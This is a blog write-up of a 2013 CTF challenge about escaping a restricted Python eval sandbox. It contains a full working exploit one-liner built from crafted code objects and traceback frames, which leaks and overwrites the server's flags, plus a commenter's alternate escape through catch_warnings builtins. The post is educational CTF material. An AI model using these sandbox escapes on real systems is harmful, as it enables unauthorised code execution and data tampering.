2013
03.10

The Nuit du Hack CTF 2013 Quals round was taking place yesterday. As usual, I’ll be posting a few writeups about fun exercises and/or solutions from this CTF. If you want more, my teammate w4kfu should be posting some writeups as well on his blog soon.

TL;DR:

auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())

One of the exercises, called “Meow”, gave us a remote restricted Python shell with most builtins disabled:

{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}

A few functions were available, namely kitty() displaying an ASCII cat, and auth(password). I assumed our goal was to bypass the authentication or to find the password. Unfortunately, our Python commands are passed to eval in expression mode, which means we can’t use any Python statement: no assignment, no print, no function/class definitions, etc. This makes things a lot harder to work with. We’ll have to use some Python magic (this writeup will be full of it, I promise).

I first assumed auth was simply comparing the password to a constant string. In this case, I could use a custom object with __eq__ overwritten to always return True. However, there is no trivial way to craft that object: we can’t define our own classes using the class Foo: syntax, we can’t modify an already existing object (no assignment), etc. This is where our first bit of Python magic comes into place: we can directly instantiate a type object to create a class object, then instantiate this class object. Here is how you would do it:

type('MyClass', (), {'__eq__': lambda self: True})

However, we can’t use type here: it is not defined in our builtins. We can use a second trick: every Python object has a __class__ attribute, which gives us the type of an object. For example, ''.__class__ is str. But more interesting: str.__class__ is type! Which means we can use ''.__class__.__class__ to instantiate our new type.

Unfortunately, the auth function is not simply comparing our object to a string. It’s doing a lot of other things to it: slicing it to 14 characters, taking its length via len() and calling reduce with a strange lambda as well. Without the code it’s going to be hard to guess how to make an object that behaves exactly like the function wants, and I don’t like guessing. We need more magic!

Enter code objects. Python functions are actually objects which are made of a code object and a capture of their global variables. A code object contains the bytecode of that function, as well as the constant objects it refers to, some strings and names, and other metadata (number of arguments, number of locals, stack size, mapping from bytecode to line number). You can get the code object of a function using myfunc.func_code. This is forbidden in the restricted mode of the Python interpreter, so we can’t see the code of the auth function. However, we can craft our own functions like we crafted our own types!

You might wonder: why do we need to use code objects to craft functions when we already have lambda? Simple: lambdas cannot contain statements. Random crafted functions can! For example, we can create a function that prints its argument to stdout:

ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42

There is a slight problem with this though: to get the type of a code object, we need to access the func_code attribute, which is restricted. Fortunately, we can use even more Python magic to find our type without accessing forbidden attributes.

In Python, a type object has a __bases__ attribute which returns the list of all its base classes. It also has a __subclasses__ method that returns the list of all types that inherit from it. If we use __bases__ on a random type, we can reach the top of the type hierarchy (object type), then read the subclasses of object to get a list of all types defined in the interpreter:

>>> len(().__class__.__bases__[0].__subclasses__())
81

We can then use this list to find our function and code types:

>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>

Now that we can build any function we want, what can we do? We can’t directly access the non restricted builtins: the functions we craft are still executed in the restricted environment. We can get a non sandboxed function to call us: the auth function call the __len__ method of the object that we pass as a parameter. This is however not enough to get out of the sandbox: our globals are still the same and we can’t for example import a module. I tried to look at all the classes we could access via the __subclasses__ trick to see if we could get a reference to a useful module through there, but no dice. Even getting Twisted to call one of our crafted functions via the reactor was not enough. We could try to get a traceback object and use it to browse the stack frames of our callers, but the only trivial ways to get a traceback object are via the inspect or the sys modules which we can’t import. After being blocked on that problem, I went to work on other problems, slept a lot, and woke up to the solution I needed!

There actually is another way to get a traceback object in Python without using the standard library: context managers. They are a new feature of Python 2.6 which allow some kind of object life scoping in Python:

class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>

We can create a context manager object which will use the traceback object passed to __exit__ to display the global variables of our caller, caller which is out of the restricted environment. To do that, we use a combination of all our previous tricks. We create an anonymous type defining __enter__ as a simple lambda and __exit__ as a lambda that accesses what we want in the traceback and passes it to our print lambda (remember, we can’t use statements):

''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()

We need to go deeper! Now, we need to use this context manager (that we will call ctx in our next code snippets) in a function that will purposefully raise an error in a with block:

def f(self):
    with ctx:
        raise 42

And we put f as the __len__ of our crafted object that we pass to the auth function:

auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())

Refer to the beginning of the article for the “real” inlined code. When ran on the server, this causes the Python interpreter to run our f function, go through the crafted context manager __exit__, which will access the globals from our caller, which contain these two interesting values:

'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'

Two flags?! Turns out that the same service was used for two successive exercises. Double kill!

For more fun, by accessing the globals we can do more than simply reading: we can also modify the flags! Using f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' }) the flags are changed until the next server restart. This was apparently not planned by the organizers.

Anyway, I still don’t know how we were supposed to solve this challenge normally, but I think this “generic” solution is a good way to introduce people to some nice Python black magic :) Use it carefully, it’s easy to get Python to segfault using crafted code objects (exploiting the Python interpreter and running an x86 shellcode via crafted Python bytecode will be left as an exercise for the reader). Thanks to the Nuit du Hack organizers for this nice exercise.

5 comments so far

Add Your Comment
  1. I just came across your blog and the articles are freaking insightful. And I thought I know a lot about Python and sandboxing :) keep up the good work.

  2. Great mind-bender, thanks!

    Tryed to run this code ( http://pastebin.com/SpXZLpRB ), got error:

    Traceback (most recent call last):
    File “x.py”, line 42, in
    (lambda n:[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0]
    File “x.py”, line 6, in auth
    print len(x)
    File “stdin”, line 1, in f
    SystemError: /home/jt/rel/python-2.7.3-1/python-2.7.3-1/src/Python-2.7.3/Objects/dictobject.c:755: bad argument to internal function

  3. The code is for Python 2.6. There are a few minor differences with Python 2.7 when creating the code objects but the same principles apply.

  4. TL;DR

    __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__)
    import sys; print open(sys.argv[0]).read()

    :D

  5. very Impressive!

    A small question, how to construct the long exploit code at the beginning of this article? Is there some compile stuff or sth else to help?

*